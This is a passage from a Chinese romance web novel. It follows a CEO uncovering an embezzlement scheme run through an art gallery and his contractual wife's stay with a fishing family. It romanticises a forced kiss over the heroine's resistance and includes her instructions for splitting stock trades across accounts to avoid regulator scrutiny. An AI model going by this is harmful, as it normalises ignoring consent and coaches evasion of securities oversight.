“谁?”
“总公司的上一任财务部总监,廖汉卿。”
邵寂野的眼神顿时危险的眯起。
楚卫继续说道:“三年前廖汉卿被您查出来以权谋私,利用财务部总监的身份把公司将近三成的资金都倒腾到了他自己在外面建立的一个艺术品画廊,然后再把这些画包装成艺术品卖掉,从而把这笔钱洗白。您本身要报警走法律流程,是老太太出面,让法务部终止了起诉。”
邵寂野当然记得这件事。
廖汉卿大概四十岁出头,以他的年纪,应该跟老太太的交集并不是特别深。
当时邵寂野还有些疑惑,为什么老太太会出面保一个自己都不是很熟的员工,他那时候只是因为,奶奶只是为了挫一挫他的锐气,显示自己在公司里的话语权还是高过他这个孙子。
所以那时候,他也并没有多想。
只是没想到,居然是因为程康。
程康是廖汉卿的岳父,跟老太太干了将近三十年,老太太是因为他的面子在,才出面保下了廖汉卿。
一切都通了。
楚卫接着说:“我找了外面的会计,查了F市分公司这些年的账。账目做的没什么明显问题,但程康这些年沉迷于购买名人字画,有很多都是以公司的名义购买的。”
“公司名义?”
“是的,账目做的很巧妙,不仔细查根本查不出来。而且每年的金额也不算太大,只有三五百万。但他已经在公司里三十多年了,这加起来是一笔非常大的数额。”
邵寂野已经完全明白了,他冷笑了一声:“所以他买的那些名人字画,都是出自廖汉卿的画廊,对吧?”
“是的邵总。”
“这翁婿两个,就用了一个画廊,一个从总公司做账,一个在分公司一手遮天,怪不得奶奶每年都在担心公司的流动资金问题。其实流动资金原本是够的,只是被这两个人倒腾出去了!”
楚卫说起这个,有些后怕:“多亏您掌权了之后立刻换掉了廖汉卿,让卢杰明主管财务部,这些年公司的流动资金才充裕了起来。否则,恐怕整个公司都要被这两个人给挖空了。邵总,我要不要把这件
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事告诉老太太?”
邵寂野思忖了一下,说:“先不急。这个程康是一条老狐狸,奶奶那么精明能干,一样被他糊弄住了。我们现在戳穿了他,怕是也没有证据,你不是也说,他的账目做的很漂亮,根本查不出破绽。”
“是的。以现有的情况,就算报了警,也很难给他定罪。”
邵寂野说:“捉贼捉赃,总得人赃并获,才能把这些硕鼠一起清理干净。”
“好的,”楚卫应道:“邵总,还有一件事……”
“说。”
“秦以枫这几天疯了一样的在找太太,还……报了警。警方那边没有您的私人号码,来了公司找您,是我接待的。”
邵寂野的表情微微沉了沉:“你怎么说?”
“我告诉了他们您的公务号码,警方打了,但您的公务手机我提前已经关机了,所以暂时没事。不过秦以枫那边催的很紧,警方应该很快就能找到您的私人号码了。”
几乎是话音刚落,邵寂野的手机就显示有一通陌生电话打来。
归属地是H市。
邵寂野冷笑了一声:“来了。”
楚卫问道:“要不您挂掉?”
“挂一次两次,总不能一直挂。”
更重要的是,昨天向晚才用手机给她妈妈打过电话,警方从邵氏找不到线索,应该会去向家找向晚的妈妈。
从向晚妈妈那里要到电话号码很容易。
如果一直打不通的话,她妈妈也会很担心她。
向晚应该不忍心让母亲这么操心。
“楚卫,有什么事及时跟我说,我先接个电话。”
“好的邵总,**那边……”
“你来处理。”
挂掉楚卫的电话,他接通了那个陌生号码:“你好,我是邵寂野。”
他本以为电话那头会是警方亮明身份,询问他向晚的下落。
可电话那头传来的,是秦以枫的声音。
“邵总你好,或许你不认识我,我叫秦以枫,是向晚的……”
“我认识你,”邵寂野打断了他的话,“我们见过。”
秦以枫一愣:“见过吗?在哪里?”
第六十五章 谁心虚谁知道
邵寂野一手拿着手机,换了个姿势坐着。
行军床吱呀吱呀响的有些厉害。
“邵总?”
“嗯,”邵寂野的态度算不上友好,“你找向晚什么事?”
秦以枫倒是很礼貌:“抱歉邵总,我联系不上小晚,很担心她的安全。”
“她跟我在一起,一直很安全。”
“那她现在方便接电话吗?我想听听她的声音。”
邵寂野一口回绝:“不方便。”
秦以枫愣住了一下。
“抱歉邵总,是不是打扰到您工作了?”
邵寂野从鼻腔里哼出一声:“你还有其他事吗?”
秦以枫笑着说:“能不能麻烦邵总跟小晚说一声,买了新手机尽快跟我……跟我们联系一下。”
“秦先生把我当传话机器了?”
秦以枫当然听出来了他话里的敌意。
但他一贯脾气好,只当是耽误了邵总的日理万机,“要不然麻烦邵总告知其他可以联系到小晚的方式?比如酒店的电话,或者是其他随行人员的号码,都可以,麻烦了。”
“她很好,我还有事,挂了。”
向晚回来的时候,刚好看到邵寂野挂断电话。
她问道:“公司的事吗?”
邵寂野“嗯”了一声:“楚卫。”
向晚点了点头,不再说话。
两人来的时候很匆忙,没带什么行李,酒店里倒是设施齐全,但是住在小珍珠家里的船舱,很多东西就变得有些尴尬起来。
比如,洗漱的牙刷毛巾,还有换下来的衣服也没办法洗。
向晚手里拿着一条新毛巾,递给他:“这个是新的,给你用。”
邵寂野下意识伸手去接:“你的呢?”
“他们没多了的,我跟小珍珠用一个。”
邵寂野蹙眉,直接站了起来:“我出去买。”
向晚拉住他:“你别去了,我刚刚出去的时候,外面有好多看起来有些奇怪的人,应该不是这个渔村的村民。”
邵寂野敏锐地察觉了:“邵氏派来的?因为昨晚的事?”
“我觉得是邵氏的人,但应该不是昨晚,”向晚说:“昨晚也只是珍珠一个小朋友不交摊位费的小事,而且你又私下给了巡逻员好处,他们得了利益不见得会说出去。我反而觉得,是因为刚刚我们来的时候,太引人注目了。”
他懂向晚的意思。
渔村这个条件,就算是有人同情小珍珠姐弟愿意来住,但是一看到这简陋的卫生条件,大多数人都会直接离开。
他和向晚长得都不错,一路上过来都很扎眼。
而且他们居然没有走,而是住了下来,村民们也有互相眼红嫉妒的,故意拍了照片或者视频发了出去。
但是明面上,“邵寂野”带着“邵太太”在长白山滑雪,所以邵氏的人也不太确定视频或者照片里的人到底是不是他,所以才派人过来打探一下虚实,在门口鬼头鬼脑的观察。
向晚突然凑近了他,小声在他耳边说:“刚刚他们已经看到我了,我留在这里拖着他们,你找个机会离开这里。”
邵寂野抬起头,看着她的脸,忍不住用手捏了捏:“邵太太想保护我?”
向晚倒也没有那么大无畏。
她只是觉得,自己出去没什么用,邵寂野出去了,才有机会调动更多的资源,他们两个才会更安全。
邵寂野却很开心,眼神温柔如水,轻咳了一声,轻声问道:“你刚不是出去打电话去了么?打了没?”
向晚摇了摇头:“我用小珍珠的电话手表打了,但是一直占线,没打通。”
她有些疑惑:“这个时候秦叔已经在医院啊,谁会给他打电话呢?”
邵寂野摸了摸鼻子,声音更轻了,装作漫不经心道:“你秦叔也有自己的社交圈啊,人家总不能整个人都扑到你们向家身上。”
向晚想了想,觉得也对。
秦叔前半生跟着爸爸披荆斩棘,虽然现在落魄了,但也是有人脉的。
比如电视台那个专门负责偷拍她和邵寂野的记者。
而且秦叔有了其他交往,也间接可以说明秦以枫的情况越来越好了,他才有心情去跟其他人联系。
这么一想,向晚觉得心里舒服了一些。
邵寂野挑眉,“珍珠爸爸真的不愿意借给你手机?”
“也不是不愿意吧,”向晚有些理解他:“知道我要打的是长途电话,有些心疼话费。”
邵寂野吐槽道:“我们又不是不给他钱。”
向晚无奈:“我的哥啊,我们住一天才给人家15块钱,人家还要管我们
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几顿饭呢,算起来真没挣你几块钱……”
“你叫我什么?”
向晚顿觉失言,连忙找补:“口头禅而已,抱歉,邵总。”
邵寂野伸手一捞,向晚整个人就跌坐在了他腿上。
还没反应过来,她的下巴就被捏住了,紧接着他的唇就覆了上来。
向晚有些愣住。
可行军床的吱呀声让她瞬间惊醒,她用尽了全身力气去抗拒:“别……唔……”
邵寂野不依不饶,亲了好一会儿才松嘴。
他的眼睛亮亮的,左手扣着她的腰,右手仍旧按着她的后脑,声音低哑,带着些微微的警告:“别扭了啊。”
向晚也察觉到了他身体的变化。
她停了下来,不再挣扎,但同时心咚咚跳的很快。
“你真的是……”向晚半是吐槽半是埋怨:“这里是船!稍微动一下就晃!还有这个床……外面小珍珠一家人都在呢。”
邵寂野看着她又烦又无语的表情,只觉得她整个人都生动的不可思议,让人从骨子里升腾起一股想要狠狠欺负她的欲望。
他从来都是个不拘着自己的性格,想要就要,尤其是奶奶下了死命令之后,更是名正言顺的要。
刚结婚那会儿,他着实体验了一把放纵的滋味,直到最后看向晚实在是吃不消了,每天都顶着熊猫一样的黑眼圈去上班,精神萎靡,吃饭都提不起劲,才勉强收敛了一些。
还有就是,白荷的前车之鉴摆在眼前,他也根本不敢在人前表露出一丁点儿对她的喜欢。
奶奶虽然老了,但仍旧有手段。
她现在又没了娘家庇护,能依靠的只有他。
他的喜欢,就是悬在她头顶的一把剑。
白荷的经验告诉他,身边只有一个女人也行不通,于是他开始来者不拒,两三个月就换一个女友。
久而久之,奶奶知道了他是纵情声色,也就睁一只眼闭一只眼了。
在她眼里,他玩的多花都不要紧;但是对另一个女人专情,那绝对不行。
或许是他演戏演的太成功,也或许是向晚确实聪明伶俐讨人喜欢,奶奶竟然开始向着她说话,还强行规定每周末他必须回家陪向晚。
邵寂野表面上冷嘲热讽阴阳怪气,可实际上,他不知有多开心。
第六十六章 邵太太就喜欢刺激的
向晚安安静静地等了一会儿,可他的身体非但没有冷静下去,反而越来越烫了。
抱着她的力道也越来越重,连眼神都变得更加有侵略性。
向晚知道,今天这一次,估计是逃不过了。
她一咬牙,像是下了某种决心,“我们出去?外面有不少芦苇丛,一人多高,应该能挡得住……”
邵寂野突然有些忍不住笑意,故意逗她:“出去干什么?”
“你不是……”向晚到底是个女孩子,这方面经验也不多,当即就有些害臊,推开他就要走:“算了,当我没说。”
邵寂野哄着把人拉回来怀里抱着:“好了好了,别生气,我只是有点奇怪,以前你都很抗拒这件事的,非得我求半天才肯点头。今天是怎么了?太阳打西边出来了?”
“你哪里求了?”向晚纠正他:“我可没听过一次。”
邵寂野用手指点了点她的胸口,然后往下,又点了点她小腹更下方的位置:“这两个地方,可都听见了,不止一次。”
向晚顿时脸爆红。
邵寂野每次回家都要得急,她又慢热的不行。
邵寂野急的浑身大汗,怕她受伤,都是先给她伺候舒服了,等她完全准备好了,才开始满足自己。
他像是这方面的高手,刚结婚没多久就摸清楚了她的底细,知道怎么样才能快速挑起她的情绪。
不久前那次就是没等她适应就直接来,结果她撕裂了,养了好几天。
邵寂野格外喜欢看她又羞又恼的样子,心情格外好:“看不出来啊,邵太太胆子挺大,外面虽然也芦苇丛,可村民人来人往的,还有邵氏派来的眼睛。还是说……邵太太就喜欢刺激的?”
向晚磨牙霍霍:“你这半天都冷静不下来我能怎么办?在船舱里动静肯定不小,小珍珠还小呢,你要教坏小孩子吗?”
邵寂野重重点头:“说的也是,那还是芦苇丛好一些。”
“而且——”向晚重重强调:“重口味的一直是你好吗?每次都非要在一些稀奇古怪的地方,连你未来岳父家的洗手间你都敢,你是真狂野啊邵总。”
邵寂野把脸埋在她颈窝里嗤嗤地笑:“好像确实是。”
刚结婚那会儿,家里每一个角落他都试过,印象最深的就是在衣柜里那次,两个人热的一身汗,衣柜里还有淡淡的油漆味道,但是狭小的空间和逼仄的环境,的确让他非常兴奋。
现在想想,他竟然有点想复刻。
“等回去了,我们换个衣柜,圆形的。”
向晚一听就知道他又开始打坏主意了,于是扯着他的头发把他的脑袋从自己怀里拎出去:“等回去了你跟白荷慢慢玩,我可不想加班。”
邵寂野的笑容僵在唇角。
向晚趁机推开他,重新恢复自由。
船舱门被轻轻敲了敲,小珍珠的声音从外面传来:“姐姐,你在么?”
向晚应了一声,快速去开了门:“在,怎么啦?”
小珍珠扬起圆圆的小脸儿嘿嘿笑:“我弟弟今天捡了好多牡蛎哦,你要不要出来吃?”
看着这么可爱的小朋友,向晚欣然答应:“好啊。”
她牵着小珍珠的手就要下船。
小珍珠回头,往船舱里看了看:“姐夫叔叔不来一次吃吗?”
向晚生怕小姑娘看到点什么少儿不宜的画面,赶紧把她的小脑袋转回来:“他不吃,我们吃就好。”
“可是牡蛎可好吃了,特别鲜。真的不叫他一起吗?”
向晚不禁打了个寒战。
牡蛎可是壮那个什么阳的食物,现在的邵寂野已经很吓人了,要是再吃点牡蛎那还得了?
向晚牵着小珍珠走的更快了,“赶紧走赶紧走……”
小珍珠嘻嘻笑,带着几分促狭和狡黠:“姐姐你这么馋呀?”
“对,我快馋**。”
渔船外面的一片滩涂上,青贝弟弟和他们的爸爸手里拿着一柄小刀,轻轻一划,牡蛎坚硬的壳就被打开了。
青贝把已经打开的牡蛎递给她:“姐姐,你吃。”
向晚笑着接过:“谢谢。”
青贝瞬间红了脸,低着头继续鼓捣牡蛎去了,不敢再抬头。
向晚坐在一块大一点
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的礁石上,轻声问身旁的小珍珠:“你弟弟性格有点内向?”
小珍珠捂着嘴偷偷笑:“他是没见过姐姐这么漂亮的人,害羞啦!”
青贝顿时闹了个大红脸,头埋得更低了。
这时,一直一言不发的珍珠爸爸突然低声开了口:“你就是邵太太吧?”
向晚拿着牡蛎的手猛地一顿。
她顿时有些警惕起来。
珍珠爸爸说:“我看你们两个,神态举止都不像是普通游客,应该都是富贵人家出来的。”
向晚整个人都绷紧了:“那也不能说明我们的身份跟邵家有关。”
“姐姐,其实我昨晚就知道了,”小珍珠说:“昨晚我们在夜市上吃小馄饨的时候,姐夫叔叔过来找你,就是叫你‘邵太太’,我那时候就猜出来了。”
向晚心情有些复杂。
邵寂野揶揄她或者阴阳怪气的时候总喜欢叫她邵太太,她也习惯了,所以就没在意。
可昨天她忘记了,小珍珠也在场。
小珍珠聪明伶俐,居然早就注意到了这个细节,而且忍到了今天才说。
这个渔村里的人都是受邵氏欺压过的,向晚开始有些担心,她跟邵寂野能不能活着走出这里。
“姐姐你不用害怕,我看得出来,你跟姐夫叔叔都是好人。”
小珍珠握住她的手,轻轻晃了晃:“昨天我差点就被那两个巡逻员打了,是姐夫叔叔救了我。他跟那群坏人应该不一样,坏人只知道欺负人,但是他会救人。”
珍珠爸爸说:“你们也不用瞒着了,从你们今天来村子里开始,就陆陆续续好多邵家的人过来盯梢。而且我看得出来,他们都不是善类,对你们也不怀好意。所以我知道,你们跟本地的邵氏应该不是一条心。”
事已至此,向晚也没有继续隐瞒的必要了。
“我跟邵总这次过来,也是想彻底解决这件事的。邵氏有很多分公司,内部也有很多派系和争斗,很多小动作邵总不一定全都能察觉。不过你们放心,邵总既然来了,肯定会彻底解决这件事,给大家一个交代。”
第六十七章 邵寂野他是不是喜欢上你了?
珍珠爸爸的表情并没有什么波澜。
明显是不怎么抱希望了。
小珍珠拉着她的手微微晃了晃:“姐姐,姐夫哥哥就算能把他们送进监狱里,可我们的家已经没了,回不来了。”
珍珠爸爸眯着眼睛,点燃了一根烟。
常年劳作让他看起来比实际年龄更显老一些,皮肤黝黑粗糙,手指也被烟熏的有些发黄。
“我相信你们是好人,也相信你们能解决掉那些坏人,可是你们会拆掉那栋金灿灿的邵氏大楼吗?”
珍珠爸爸自嘲的笑了一声:“那栋大楼花了几个亿盖的,如果拆掉了,这些钱岂不是都打水漂了?不会有人拆的,就算坏人被抓了,我们的家也没了。”
向晚不知道该如何继续说下去。
她是做人事行政的,但也很清楚的知道,一笔几个亿的坏账,对于任何一个公司来说,都是一件大事。
小公司承受不住当场倒闭,大公司至少也是元气大伤。
就算邵氏树大根深,也堪称是刮骨疗毒。
更何况,按照目前的发展来看,程康对F市的控制已经非常全面了,想必分公司里上上下下都是他的亲信。
处理了程康,那下面那些人处不处理?
不处理的话,这些人过惯了好日子,根本不会再努力工作,说不定还会生出其他小心思;
可如果是处理了,整个F市分公司怕是立马就要停摆了。
她隐约记得,公司里还有几个地产项目,是F市分公司去对接的。
工程延误,滞纳金又是一笔不小的费用。
珍珠爸爸考虑的非常对,她知道邵寂野有野心,肯定会铲除程康这个硕鼠。
但那栋大厦,他真不一定会拆。
他同情珍珠一家,但前提是他是个商人,为一时的同情用几个亿甚至后续无穷无尽的麻烦买单,他不会这么感情用事。
向晚看着一脸稚气的小珍珠,还有珍珠爸爸沧桑的脸,欲言又止,最后只能缓缓叹了一口气。
经过这件事,向晚也没什么心情吃牡蛎了。
正说着,小珍珠的电话手表突然响了一声。
“姐姐,好像是找你的。”
电话手表上显示着一串陌生号码,可向晚一下子就认了出来,是秦叔的!
小珍珠把电话手表摘了下来,递给她:“姐姐你接。”
向晚道了谢,拿着电话手表走远了一点,然后按下了接听键。
“小晚,是你吗?”
是秦以枫的声音。
向晚突然有些眼底发酸:“是我,我刚刚给你打电话,一直没打通。”
“别哭。”
“我没哭。”向晚也不知道怎么怎么了,听到他的声音,就有些克制不住。
“我也是刚刚看到有个未接电话,我在猜会不会是你,可是电话的归属地是F市,你不是在长白山么?怎么会用F市的号码?”
“这个……说来话长。你呢,好点没有?”
秦以枫只是满足地喟叹了一声:“听了你的声音,我就好多了。”
向晚心里一暖,嘴上却说:“你别说好听的了,我说真的呢,你恢复怎么样了?”
“我真的好多了,就是这两天一直打不通你的电话,我很担心你。”
向晚说:“我都好,你要好好听医生的话,乖乖养伤,听到没有?”
“听到了,向经理。”
向晚想起来一件事:“最近邵寂野放出了风声,外界都以为我们很恩爱,天隆集团的股价势必大涨。你记得让秦叔把手上的股份全部出清,尽可能多的留现金流。”
秦以枫“嗯”了一声:“我会转告他的。”
“对了,我用你的名字也开设了一个账户,”向晚警惕地往四周看了看:“密码你知道的,就是我原来用的那个。让秦叔把资金分散到这两个账号上操作,同一个账号一直操作的话会被证监会审查的。”
“好,知道了。”
“还有……你现在上网方面吗?”
“手机可以吗?”
“可以。你登录我的帐号,密码也是那个,周五下午六点左右,把所有邵氏集团的股份也抛售干净。自从邵氏官宣了AI医疗项目之后,股价涨了一波,算算时间,也差不多到顶了。”
秦以枫一一应了下来:“好,我记住了,我会办好的。”
向晚努力在脑海中搜索着,还有什么事要交代秦以枫和秦叔做的。
毕竟她现在跟邵寂野寸步不离的,想打个电话都难。
“
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小晚……”秦以枫问她:“邵寂野他……是不是真的喜欢上你了?”
向晚直接否认了:“你别看新闻上瞎说,那是他故意放的**,让所有人都以为他去了长白山滑雪,其实是来F市处理一下分公司的事。”
“可是你只是总公司的人事经理,他处理分公司的事,为什么一定要带上你呢?”
向晚说:“带上我也只是顺路,F市这边发现了我爸爸的遗物。”
秦以枫顿觉惊奇:“向伯伯的飞机已经出事三年了,居然又找到遗物了?”
“对啊,是我爸爸的一件外套。”
“在海水里泡了三年,应该很破旧了吧?”
“没有啊,还挺新的……”
说完这句话,向晚就有些顿住了。
秦以枫说得对。
爸爸出事三年了,海水含盐量非常高,泡了三年,也早都腐蚀的不成样子了。
为什么会是完整的一个?
可是,警方亲口告诉她,衣服上检测出了爸爸的DNA啊。
这到底是怎么回事……
“……小晚,我刚刚给邵总打了个电话,但是他的态度不算很好。我觉得他有可能是真的喜欢上你了,所以才对我有这么大的敌意。”
向晚还是下意识否认:“不会的,他……他其实有喜欢的人。”
这下轮到秦以枫惊讶了:“你怎么知道?”
“我见过她。”
“在哪里?”
“家里,”向晚说:“邵寂野把那个女孩安顿在主卧,我住客房。”
秦以枫听完,这才微微放了心:“原来是这样。可我原来听我爸说,他喜欢的女孩已经**。所以这次是换了一个人吗?”
“不是,还是那个人。他自始至终喜欢的人都只有那一个。至于当初的死讯,情况很复杂,反正是邵寂野为了保护她放出来的假消息。”
秦以枫微微笑开:“那我就放心了。他有喜欢的人,就不会去骚扰你。”
“……嗯。”向晚深吸了一口气,说:“但以枫,我不想骗你,我跟他……发生过……”
“小晚,”秦以枫打断她的话:“有些话默认就可以了,我不想问,你也不要说,可以吗?”
向晚叹息:“好。”
第六十八章 都是小黄书害的
这个话题,终究还是让这通电话冷场了好几分钟。
向晚突然有些后悔。
秦以枫说得对,她跟邵寂野结婚三年,天天同床共枕,不发生点什么的概率太低。
可是以枫是她的初恋,更是她想要共度一生的人,她只是抱着坦诚的态度不想骗他而已,却还是伤害到了他。
“以枫,对不起。”
“你不用道歉,”秦以枫说:“我没有什么处女情结,我只是心疼你。为了向家,为了报仇,你在邵家受尽了委屈。之前还有邵老太太能帮一帮你,日后邵寂野事业蒸蒸日上,连邵老太太都无法压制他的时候,你怎么办?”
向晚笑了笑,安慰他:“那时候我就离开他了啊。”
秦以枫思忖了一下,也笑:“你说得对,连邵老太太都没办法压制他的时候,那他自然是要跟自己最心爱的女人在一起的,用不上你这个名义上的邵太太了。”
“对啊。”
秦以枫笑的更大了些:“这么一说,我还挺希望邵总能一路高歌猛进,做大做强的。”
“嘿嘿,我也是。”
旁边冷不丁冒出来一个声音:“你也是什么?”
向晚手一抖,电话手表差点扔出去。
这可是小珍珠的东西。
她赶紧把电话手表攥在掌心里,顺便挂断了电话。
邵寂野的目光下移,在电话手表屏幕上扫了扫,却没说什么。
他大概能猜到她是在跟谁打电话,但他现在不是很想知道电话的内容。
上一次已经差点控制不住伤了她,他不想再有第二次了。
“青贝捞了牡蛎上来,我们去看看。”
邵寂野伸手牵住她的,向晚却往后退了一步躲开了:“那个,我自己能走。”
邵寂野深深看了她两眼,不再勉强,转身先上了船。
路过青贝的时候,青贝问他:“姐夫叔叔,牡蛎……”
“不吃了,谢谢。”
他径直回了船舱里。
向晚过去的时候,青贝还是一脸茫然:“姐姐,姐夫叔叔刚刚说想尝尝,过去找你一起,刚刚回来又说不想吃了。”
向晚摸了摸他的发顶:“不用管他,我们吃。”
珍珠小声的询问:“姐夫叔叔会不会是觉得我们的东西不干净吧?”
“没有,不会的。”
为了让孩子们放心,向晚特意多吃了几个。
天色渐渐暗了下来。
向晚坐在海边看完了夕阳才回到船舱里。
一开门,邵寂野正靠坐在行军床上看书。
早上来的时候,向晚倒是看到了这个船舱的角落里有几本散落的书。
但是都很破败了,纸张都泛黄了,有的还掉页,一看就是很久都没人翻过了。
她走了进去,轻声问道:“这是什么书啊?”
邵寂野问她:“连环画,你想看吗?”
向晚估摸着可能是小孩子看的小人书,便凑过去看了一眼。
可等她看明白了这个所谓的“连环画”,整个人都震惊了。
“这……”
邵寂野也没说错,某种程度上来说,的确是连环画。
但是这个画的内容,实在是少儿不宜。
各种地点,各种场合,各种姿势,甚至还有好多个人一起……
“这……真的是船上的?”
邵寂野无辜地耸了耸肩:“难道是我凭空变出来的?”
“你别看了。”向晚把书从他手里抽走,又把手机塞到他掌心里:“你看看有没有什么工作要处理的。”
邵寂野见她一副尴尬的样子,就很想恶趣味地逗逗她:“怕什么?大家都是成年人了,又不犯法。你别说,这本书还挺有想象力的,有好几个我都觉得很有参考价值……”
“有什么有!你别乱动人家东西!”
向晚把书放在了最角落的小矮几上,气呼呼地回来坐在床边:“这是人家珍珠爸爸的东西,给人家弄坏了怎么办?”
邵寂野啧啧有声:“看不出来啊,珍珠爸爸看着朴实,其实内心挺狂野的。”
向晚吐槽他:“再狂野能狂地过你?”
邵寂野颇有几分得意地挑眉:“我就当你是在夸我了?”
“……随便你怎么想吧。”
邵寂野看着坐在自己身侧的清丽小人,眼珠子微微转了转,轻声问道:“我应该比秦以枫强吧?”
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>向晚忍不住回嘴:“他比你强多了。”
“我不信。”
“你爱信不信。”
邵寂野故意问道:“你又没试过他,怎么知道他比我强?”
“谁说我没试过?”
邵寂野原本是慵懒地半靠在床头的,闻言直接坐了起来:“你试过?”
“你这么激动干什么?你有过那么多女人,我就不能有点过往?”
邵寂野把头偏向一边,眉心紧紧蹙着,不知道在想什么。
向晚问他:“晚餐你都没吃,要不要我去找点吃的给你?”
“不吃。”
“不饿吗?”
“气饱了。”
向晚点头,“行,那您气着吧。累了一天了,我先睡了。”
行军床太窄,只有一米左右。
两个人虽然都瘦,但邵寂野身高腿长,身上还有些肌肉,两个人身贴身侧躺才勉强能躺下,但凡一个人平躺,另一个人一准儿掉地上去。
向晚在床边只占了一小半,侧着躺了下去。
原本以为很快身后就会有一个滚烫的胸膛贴上来,可等了许久,都没见他有所动作。
向晚有些疑惑,难道他今晚不准备睡了?
刚准备回头去看,正好对上一张棱角分明的桀骜俊脸。
向晚吓了一跳:“你干什么?”
邵寂野动作更快,微微一用力,就把人打横抱在了怀里:“你忘了?白天的时候你自己答应的,晚上,芦苇荡。”
向晚脑子嗡地一声:“现在?!”
“嗯。”
“都是看小黄书看的!”
向晚磨牙霍霍,逃过了牡蛎,居然没逃过小黄书!
这下她有点认同邵寂野了。
珍珠爸爸的确是挺狂野的。
“……他们跑船的,出海要个把星期才能回来呢,不得抓紧时间跟老婆好好腻歪腻歪?这都是人之常情,食色性也,很正常。不然珍珠和青贝是从石头缝里蹦出来的啊?”
快要下船的时候,因为光线不好,又抱着个大活人,邵寂野一脚没踩稳,重重往后退了一步。
整个船舱发出巨大的“咚”的一声。
向晚顿时心都提到了嗓子眼——
第六十九章 向晚,我们好好的,好不好?
邵寂野笑她:“怕什么?”
向晚越发对他的厚脸皮有了深刻的理解。
她小声说道:“你放我下来,我自己走。”
两个人在一起重量太大,这艘船看着也是有年头了,很容易弄出响动来。
邵寂野却没松手,还把她往上掂了掂,“外面脏,你脚别沾地了。”
说着,他抱着她轻轻一跃,就从舢板上跳了下来。
这里远离城市,四周根本没有照明,只能依靠着惨白的月光勉强照亮一点点。
村民们也都睡下了,整个环境万籁俱寂,只有偶尔的蛙鸣和鸟鸣。
邵寂野走着走着,就感觉到胸前一紧。
向晚缩在他怀里,把他的衣服抓成了一团。
“害怕?”
向晚说:“这种荒郊野外的,很难说会不会有危险,我们还是回去吧。”
“回去做?”邵寂野作势掉头:“我都行。”
“等等,还是别回去了。”
邵寂野闷闷地笑:“脸皮怎么那么薄。”
邵寂野找了一个稍微偏僻点的地方,有一块大而平整的礁石。
他把向晚抱上去坐好,然后自己双手一撑,在她旁边也坐了下来。
向晚等了好一会儿,都没见他有下一步动作。
刚刚不是还猴急猴急的,怎么突然又冷静下来了?
邵寂野伸手,把她抱在了怀里坐着,“晚上凉。你没带外套出来,这样暖和点。”
他的环抱还是一样的宽大坚硬。
尤其是胸脯,硬邦邦的像是一堵墙。
不过好在,硬是硬了点,但还算舒服。
向晚微微放松了自己,靠在他的胸前,像一只柔顺的小猫。
邵寂野的喉结上下滚了滚,低头轻轻吻了吻她的发顶,有些郑重,有些讨好。
向晚问他:“还不开始吗?”
邵寂野声音很轻:“邵太太这么急?”
向晚啐了他一口:“我是怕一会儿万一有人出来方便,万一看到了我们正在……多尴尬。”
“有什么可尴尬的?村民们也是人,我不信他们就不过夫妻生活了?”
“……人家也没在野外过啊。”
邵寂野嗤嗤地笑:“向晚。”
“干嘛?”
“今晚的月色真美。”
向晚在他怀里抬起头来,看向了天空。
墨蓝色的夜空中,一片散落的星辰,像是蓝丝绒的缎子上点缀着碎钻,在静谧的夜里显得格外美好。
一轮圆月挂在夜空中,圆乎乎的像是一个大烧饼。
“你不做了吗?”
邵寂野微微蹙眉:“你能不能有点诗情画意啊?”
向晚不禁想起了一件事。
大二那年,教授让她们临摹莫奈的《星空》。
莫奈的配色很大胆也很神奇,蓝色和黄色两种非常对立的颜色竟然被他运用的诡异而绚烂。
向晚那时候怎么都学不会,或者是只能学个形,根本临摹不出来名画的精髓。
她急的不行,去天台上看了好几夜的星星,还是找不到灵感。
最后,是有个陌生人给她寄了一张照片。
照片里,就是一张非常静谧美好的夜空。
而且照片上的月亮也是胖乎乎的一个。
弯月固然留下倩影,但圆圆的月亮总是会让人觉得心里很踏实。
那张照片给了她灵感,向晚用了一晚上就临摹了出来。
只有月亮的形状稍加改动。
第二天教授看了之后,摸着大胡子连连点头:“你这幅画画的不错,真的有几分莫奈大师的味道了。”
向晚当然开心,第一时间就打电话给了秦以枫,跟他分享这个好消息。
秦以枫远程给她吉他弹唱了一首《月半小夜曲》,作为庆祝她获得教授嘉奖的礼物。
不过时至今日,她已经有些记不清秦以枫那天地嗓音了,反倒是对那张照片记忆深刻。
那封信没有署名,落款只有一个字母Y。
向晚猜测,应该是姓杨或者是姓颜的人。
但她把自己的朋友圈整个捋了一遍,也没找到这两个姓的人。
或许,应该是寄错了?
那件事之后没几个月,爸爸就出了事,她也没有多余的心力再去追究到底是谁给她寄的那张照片了。
正想得出神,唇边传来温柔的濡湿。
他的唇一贯都是火热的,猛烈的,今晚却有些冰凉,缠绵悱恻。
向晚被动承受着他的吻,一开始他只是在她唇角轻轻地啄,再后来就渐渐到了中间,含着她的下唇在口中辗转。
“向晚。”
她好像有
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些醉了,一个吻弄得她有些昏昏沉沉,他的声音似乎都带着些磁性的催眠感。
“我们好好的,好不好?”
向晚听不太明白:“不是一直这样吗?”
“是啊,要是一直能这样下去就好了。”
向晚说:“有点冷,要是不做的话,我们回去睡觉吧。”
邵寂野把她往怀里紧了紧:“再看一会儿月亮就回去。”
“我们在船舱里也能看啊。”
“就一会儿,很快。”
向晚不知道很快到底是多快。
她听着海浪声和鸟鸣声,渐渐睡着了。
醒来的时候,她已经回到了船舱里,行军床上只有她一个人,邵寂野不在。
她下了床,穿上鞋子去了外面。
只见邵寂野已经把裤腿卷到了膝盖以上,跟珍珠爸爸一起站在海水里,手里拿着一张渔网。
用尽全力洒出去,渔网瞬间张开,落入水面后渐渐沉入水底。
他应该忙活有一会儿了,浑身都汗津津的,小臂上肌肉鼓得老高,看起来很用力。
“姐姐,你醒啦!”
小珍珠已经穿戴整齐了,笑嘻嘻地跟她打招呼:“姐夫哥哥说,最近你太累了,让你多睡会,不让我们叫醒你。”
向晚摸了摸小珍珠的小脸儿,指了指远处的邵寂野和珍珠爸爸,问道:“他们干什么呢?”
“姐夫哥哥说要跟我爸爸学打渔。”
向晚有些惊讶:“他?打渔?”
邵寂野平时养尊处优惯了,别说打渔了,就是钓鱼他都不去。
日常运动也都是高尔夫,马术这种精英项目。
他居然去学打渔?
小珍珠突然贼兮兮地笑:“姐姐,昨晚我看到你和姐夫叔叔亲嘴嘴啦!就在远处的那个情人崖上。”
向晚顿时有些懊恼。
看吧!
她就说,肯定会被看到的。
这下可要教坏小孩子了。
“小珍珠,姐姐和叔叔只是在看星星而已。”
“姐姐不用害羞啦,我见过很多次别人亲嘴嘴的。”
“啊?”
